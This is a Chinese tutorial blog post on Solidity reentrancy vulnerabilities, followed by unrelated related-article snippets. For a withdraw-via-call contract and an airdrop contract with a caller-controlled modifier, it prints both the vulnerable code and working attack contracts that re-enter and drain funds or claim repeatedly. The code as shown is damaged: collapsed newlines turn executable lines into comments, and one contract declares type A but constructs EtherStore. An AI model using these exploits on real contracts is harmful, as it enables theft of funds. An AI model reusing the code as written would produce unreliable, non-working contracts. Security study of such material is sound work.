solidity 重入漏洞
目录
1. 重入漏洞的原理
2. 重入漏洞的场景
2.1 msg.sender.call 转账
2.2 修饰器中调用地址可控的函数
1. 重入漏洞的原理
重入漏洞产生的条件:
- 合约之间可以进行相互间的外部调用

恶意合约 B 调用了合约 A 中的 public funcA 函数,在函数 funcA 的代码中,又调用了别的合约的函数 funcB,并且该合约地址可控。当恶意合约 B 实现了 funcB,并且 funcB 的代码中又调用了合约 A 的 funcA,就会导致一个循环调用,即 step 2 => step 3 => step 2 => step 3 => ....... 直到 合约 gas 耗尽或其他强制结束事件发生。
2. 重入漏洞的场景
2.1 msg.sender.call 转账
msg.sender.call 转账场景下重入漏洞产生的条件:
- 合约之间可以进行相互间的外部调用
- 使用 call 函数发送 ether,且不设置 gas
- 记录款项数目的状态变量,值变化发生在转账之后

恶意合约 B 调用了合约 A 的退款函数;合约 A 的退款函数通过 call 函数给合约 B 进行转账,且没有设置 gas,合约 B 的 fallback 函数自动执行,被用来接收转账;合约 B 的 fallback 函数中又调用了合约 A
合约 A
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.3;
contract A {mapping(address => uint) public balances;function deposit() public payable { balances[msg.sender] += msg.value;}function withdraw() public {uint bal = balances[msg.sender];require(bal > 0);// 调用 call 函数将款项转到 msg.sender 的账户(bool sent, ) = msg.sender.call{value: bal}("");require(sent, "Failed to send Ether");// 账户余额清零balances[msg.sender] = 0;}// Helper function to check the balance of this contractfunction getBalance() public view returns (uint) {return address(this).balance;}
}
恶意合约 B:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.3;
contract B {A public etherStore;constructor(address _etherStoreAddress) {etherStore = EtherStore(_etherStoreAddress);}// Fallback is called when A sends Ether to this contract.fallback() external payable {if (address(etherStore).balance >= 1 ether) {etherStore.withdraw();}}function attack() external payable {require(msg.value >= 1 ether);etherStore.deposit{value: 1 ether}();etherStore.withdraw();}// Helper function to check the balance of this contractfunction getBalance() public view returns (uint) {return address(this).balance;}
}
2.2 修饰器中调用地址可控的函数
代码地址:https://github.com/serial-coder/solidity-security-by-example/tree/main/03_reentrancy_via_modifier
漏洞合约代码:
pragma solidity 0.8.13;import "./Dependencies.sol";contract InsecureAirdrop {mapping (address => uint256) private userBalances;mapping (address => bool) private receivedAirdrops;uint256 public immutable airdropAmount;constructor(uint256 _airdropAmount) {airdropAmount = _airdropAmount;}function receiveAirdrop() external neverReceiveAirdrop canReceiveAirdrop {// Mint AirdropuserBalances[msg.sender] += airdropAmount;receivedAirdrops[msg.sender] = true;}modifier neverReceiveAirdrop {require(!receivedAirdrops[msg.sender], "You already received an Airdrop");_;}// In this example, the _isContract() function is used for checking // an airdrop compatibility only, not checking for any security aspectsfunction _isContract(address _account) internal view returns (bool) {// It is unsafe to assume that an address for which this function returns // false is an externally-owned account (EOA) and not a contractuint256 size;assembly {// There is a contract size check bypass issue// But, it is not the scope of this example thoughsize := extcodesize(_account)}return size > 0;}modifier canReceiveAirdrop() {// If the caller is a smart contract, check if it can receive an airdropif (_isContract(msg.sender)) {// In this example, the _isContract() function is used for checking // an airdrop compatibility only, not checking for any security aspectsrequire(IAirdropReceiver(msg.sender).canReceiveAirdrop(), "Receiver cannot receive an airdrop");}_;}function getUserBalance(address _user) external view returns (uint256) {return userBalances[_user];}function hasReceivedAirdrop(address _user) external view returns (bool) {return receivedAirdrops[_user];}
}
攻击合约代码:
pragma solidity 0.8.13;import "./Dependencies.sol";interface IAirdrop {function receiveAirdrop() external;function getUserBalance(address _user) external view returns (uint256);
}contract Attack is IAirdropReceiver {IAirdrop public immutable airdrop;uint256 public xTimes;uint256 public xCount;constructor(IAirdrop _airdrop) {airdrop = _airdrop;}function canReceiveAirdrop() external override returns (bool) {if (xCount < xTimes) {xCount++;airdrop.receiveAirdrop();}return true;}function attack(uint256 _xTimes) external {xTimes = _xTimes;xCount = 1;airdrop.receiveAirdrop();}function getBalance() external view returns (uint256) {return airdrop.getUserBalance(address(this));}
}
漏洞合约为一个空投合约,限制每个账户只能领一次空投。
攻击过程:
- 部署攻击合约 Attacker 后,执行函数 attack,attack 函数调用漏洞合约的 receiveAirdrop 函数接收空投;
- 漏洞合约的 receiveAirdrop 函数执行修饰器 neverReceiveAirdrop 和 canReceiveAirdrop 中的代码,而 canReceiveAirdrop 中调用了地址可控的函数 canReceiveAirdrop(),此时 msg.sender 为攻击合约地址;
- 攻击合约自己实现了 canReceiveAirdrop() 函数,并且函数代码中再次调用了 receiveAirdrop 函数接收空投
于是就导致了 漏洞合约 canReceiveAirdrop 修饰器 和 攻击合约canReceiveAirdrop() 函数之间循环的调用。
修复重入漏洞
1.避免使用call方法转账
2.确保所有状态变量的逻辑都发生在转账之前
3.引入互斥锁
相关文章:
solidity 重入漏洞
目录 1. 重入漏洞的原理 2. 重入漏洞的场景 2.1 msg.sender.call 转账 2.2 修饰器中调用地址可控的函数 1. 重入漏洞的原理 重入漏洞产生的条件: 合约之间可以进行相互间的外部调用 恶意合约 B 调用了合约 A 中的 public funcA 函数,在函数 funcA…...
【智能家电】东胜物联离在线语音方案为厨电企业赋能,实现厨房智能化控制
近年来,我国厨电市场蓬勃发展。据行业统计数据显示,至今年6月,市场规模已达356亿元,同比增长8.8%。随着数字科技、物联网和人工智能的兴起,厨电产品正在朝着更智能、多功能化的方向迅速发展。 为此厨电厂商正在积极布…...
3DMAX英文版怎么切换到中文版?
3DMAX英文换到中文版的方法 3dMax是专业三维建模、渲染和动画软件,它使你能够创建广阔的真实世界和各种高级设计。 -使用强大的建模工具为环境和景观注入活力。 -使用直观的纹理和着色工具创建精细的细节设计和道具。 -迭代并制作具有完全艺术控制的专业级渲染图…...
WEB渗透—PHP反序列化(八)
Web渗透—PHP反序列化 课程学习分享(课程非本人制作,仅提供学习分享) 靶场下载地址:GitHub - mcc0624/php_ser_Class: php反序列化靶场课程,基于课程制作的靶场 课程地址:PHP反序列化漏洞学习_哔哩…...
LeetCode——2415. 反转二叉树的奇数层
通过万岁!!! 题目:给你一个完全二叉树,然后将其奇数层进行反转。思路:这个题他都说了是奇数层了,那基本就是层序遍历了。但是存在两个问题,一个是如何判断奇数层,另外一…...
【Spring学习笔记】Spring 注解开发
Spring学习——注解开发 注解开发注解开发定义bean纯注解开发 Bean管理bean作用范围bean生命周期 依赖注入自动装配 第三方bean管理注解开发总结XML配置与注解配置比较 注解开发 注解开发定义bean 使用Component定义开发 Component("bookDao") public class BookD…...
【华为数据之道学习笔记】6-5数据地图的核心价值
数据供应者与消费者之间往往存在一种矛盾:供应者做了大量的数据治理工作、提供了大量的数据,但数据消费者却仍然不满意,他们始终认为在使用数据之前存在两个重大困难。 1)找数难 企业的数据分散存储在上千个数据库、上百万张物理表…...
JavaWeb笔记之JSP
一、引言 现有问题 在之前学习Servlet时,服务端通过Servlet响应客户端页面,有什么不足之处? 开发方式麻烦:继承父类、覆盖方法、配置Web.xml或注解。 代码修改麻烦:重新编译、部署、重启服务。 显示方式麻烦&#x…...
在x64上构建智能家居(home assistant)(二)(新版Debain12)连接Postgresql数据库
新版数据库安装基本和旧版相同,大部分可以参考旧版本在x64上构建智能家居(home assistant)(二)连接Postgresql数据库_homeassist 数据库-CSDN博客 新版本的home assistant系统安装,我在原来写的手顺上直接修改了,需要的可以查看在x64上构建智能家居(home…...
八股文打卡day6——计算机网络(6)
面试题:GET请求和POST请求的区别 我的回答: 1.作用不同:GET是用来获取服务器资源的;POST是用来向服务器提交资源的; 2.参数传递方式不同:GET请求参数一般写在URL中的,只能接收ASCII字符;POST的…...
【PHY6222】绑定详解
1.函数详解 bStatus_t GAPBondMgr_SetParameter( uint16 param, uint8 len, void* pValue ) 设置绑定参数。 bStatus_t GAPBondMgr_GetParameter( uint16 param, void* pValue ) 获取绑定参数。 param: GAPBOND_PAIRING_MODE,配对模式,…...
vue事件绑定
vue提供了v-on事件绑定指令,用来辅助程序员为DOM元素绑定事件监听,语法格式如下: v-on:指令可以简写为 注意:原生DOM对象有onclick,oninput,onkeyup等原生事件,替换为vue的事件绑定…...
如何在服务器上部署springboot项目
在服务器上部署Spring Boot项目通常有以下步骤: 在服务器上安装Java运行环境:首先确保服务器上已经安装了Java运行环境(至少需要Java 8或以上版本)。 快速安装JDK命令: yum install java-1.8.0-openjdk.x86_64 打包S…...
基于Spring Boot的支教志愿者招聘网站
文章目录 项目介绍主要功能截图:部分代码展示设计总结项目获取方式🍅 作者主页:超级无敌暴龙战士塔塔开 🍅 简介:Java领域优质创作者🏆、 简历模板、学习资料、面试题库【关注我,都给你】 🍅文末获取源码联系🍅 项目介绍 基于Spring Boot的支教志愿者招聘网站,j…...
安装gnvm,nodejs,npm使用方法
安装gnvm,nodejs,npm使用方法 一、安装gnvm gnvm.exe下载地址: https://download.csdn.net/download/hsg77/88651752 http://ksria.com/gnvm/#download 二、配置gnvm环境变量 新建目录,如:d:/nodejs 并把gnvm.exe存储到此目录 并把d:/node…...
word导入导出-Apache POI 和 Poi-tl
word 文件读取 使用Apache POI Word 进行读取文件 使用poi 时如果报ClassNotFoundException 等错误,请注意请求以下maven 文件的版本 Apache POI Word 说明文档:Apache POI Word 说明文档 maven 解决依赖冲突教程:https://www.cnblogs.com/…...
Hadoop 集群环境搭建
目录 第一部分:系统安装... 3 1:图形化安装... 3 2:选择中文... 3 3:安装选项... 3 4:软件选项... 4 5:安装位置... 4 6:网络配置... 6 7:开始安装... 7 8:创建用户... 7…...
maven完结,你真的学完了吗
书接上文:必学的maven的起步-CSDN博客 分模块开发与设计 分模块开发: 创建模块书写代码模块 模块中需要其他的模块,就将他安装到仓库然后再dep中导入依赖通过maven指令安装模块到本地仓库(install) 聚合与继承 聚合…...
【Xcode】解决Unable to process request - PLA Update available
出现场景 IOS更新app时,使用Xcode上传新版本的包时,提示无法上传。 Unable to process request -PLA update available you currently dont have access to this membership resource. To resolve this issue ,agree to the latest program license a…...
力扣单调栈算法专题训练
目录 1 专题说明2 训练 1 专题说明 本博客用来计算力扣上的单调栈题目、解题思路和代码。 单调栈题目记录: 2232866美丽塔II 2 训练 题目1:2866美丽塔II。 解题思路:先计算出prefix[i],表示0~i满足递增情况下,0~i…...
Docker 离线安装指南
参考文章 1、确认操作系统类型及内核版本 Docker依赖于Linux内核的一些特性,不同版本的Docker对内核版本有不同要求。例如,Docker 17.06及之后的版本通常需要Linux内核3.10及以上版本,Docker17.09及更高版本对应Linux内核4.9.x及更高版本。…...
MODBUS TCP转CANopen 技术赋能高效协同作业
在现代工业自动化领域,MODBUS TCP和CANopen两种通讯协议因其稳定性和高效性被广泛应用于各种设备和系统中。而随着科技的不断进步,这两种通讯协议也正在被逐步融合,形成了一种新型的通讯方式——开疆智能MODBUS TCP转CANopen网关KJ-TCPC-CANP…...
涂鸦T5AI手搓语音、emoji、otto机器人从入门到实战
“🤖手搓TuyaAI语音指令 😍秒变表情包大师,让萌系Otto机器人🔥玩出智能新花样!开整!” 🤖 Otto机器人 → 直接点明主体 手搓TuyaAI语音 → 强调 自主编程/自定义 语音控制(TuyaAI…...
06 Deep learning神经网络编程基础 激活函数 --吴恩达
深度学习激活函数详解 一、核心作用 引入非线性:使神经网络可学习复杂模式控制输出范围:如Sigmoid将输出限制在(0,1)梯度传递:影响反向传播的稳定性二、常见类型及数学表达 Sigmoid σ ( x ) = 1 1 +...
selenium学习实战【Python爬虫】
selenium学习实战【Python爬虫】 文章目录 selenium学习实战【Python爬虫】一、声明二、学习目标三、安装依赖3.1 安装selenium库3.2 安装浏览器驱动3.2.1 查看Edge版本3.2.2 驱动安装 四、代码讲解4.1 配置浏览器4.2 加载更多4.3 寻找内容4.4 完整代码 五、报告文件爬取5.1 提…...
大数据学习(132)-HIve数据分析
🍋🍋大数据学习🍋🍋 🔥系列专栏: 👑哲学语录: 用力所能及,改变世界。 💖如果觉得博主的文章还不错的话,请点赞👍收藏⭐️留言Ǵ…...
企业如何增强终端安全?
在数字化转型加速的今天,企业的业务运行越来越依赖于终端设备。从员工的笔记本电脑、智能手机,到工厂里的物联网设备、智能传感器,这些终端构成了企业与外部世界连接的 “神经末梢”。然而,随着远程办公的常态化和设备接入的爆炸式…...
管理学院权限管理系统开发总结
文章目录 🎓 管理学院权限管理系统开发总结 - 现代化Web应用实践之路📝 项目概述🏗️ 技术架构设计后端技术栈前端技术栈 💡 核心功能特性1. 用户管理模块2. 权限管理系统3. 统计报表功能4. 用户体验优化 🗄️ 数据库设…...
Qt 事件处理中 return 的深入解析
Qt 事件处理中 return 的深入解析 在 Qt 事件处理中,return 语句的使用是另一个关键概念,它与 event->accept()/event->ignore() 密切相关但作用不同。让我们详细分析一下它们之间的关系和工作原理。 核心区别:不同层级的事件处理 方…...
在树莓派上添加音频输入设备的几种方法
在树莓派上添加音频输入设备可以通过以下步骤完成,具体方法取决于设备类型(如USB麦克风、3.5mm接口麦克风或HDMI音频输入)。以下是详细指南: 1. 连接音频输入设备 USB麦克风/声卡:直接插入树莓派的USB接口。3.5mm麦克…...
